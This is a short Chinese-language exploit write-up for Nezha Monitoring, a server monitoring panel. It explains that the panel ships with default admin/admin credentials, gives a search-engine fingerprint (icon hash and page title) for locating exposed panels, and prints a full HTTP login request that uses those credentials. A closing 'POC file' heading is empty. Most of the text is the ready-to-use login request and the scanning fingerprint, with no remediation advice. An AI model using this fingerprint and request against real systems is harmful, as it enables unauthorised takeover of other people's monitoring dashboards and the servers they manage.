一、漏洞信息

哪吒监控（Nezha Monitoring） 是一款广受欢迎的轻量级、开源服务器探针和监控面板。

该“漏洞”并非源于软件代码缺陷，而属于默认配置弱点（Default Credentials Vulnerability）。哪吒监控在安装或初始化后，默认会配置一组固定的管理账号和密码。如果用户在部署后未能及时修改这组默认凭证，攻击者即可利用这些已知的弱口令尝试登录管理面板。

默认凭证：admin / admin

二、应用指纹

icon_hash="-1914242756" || title="哪吒监控"

三、利用细节

POST /api/v1/login HTTP/1.1
Host: 127.0.0.1:8008
Content-Length: 39
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:8008
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8008/dashboard/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"username":"admin","password":"admin"}

四、POC文件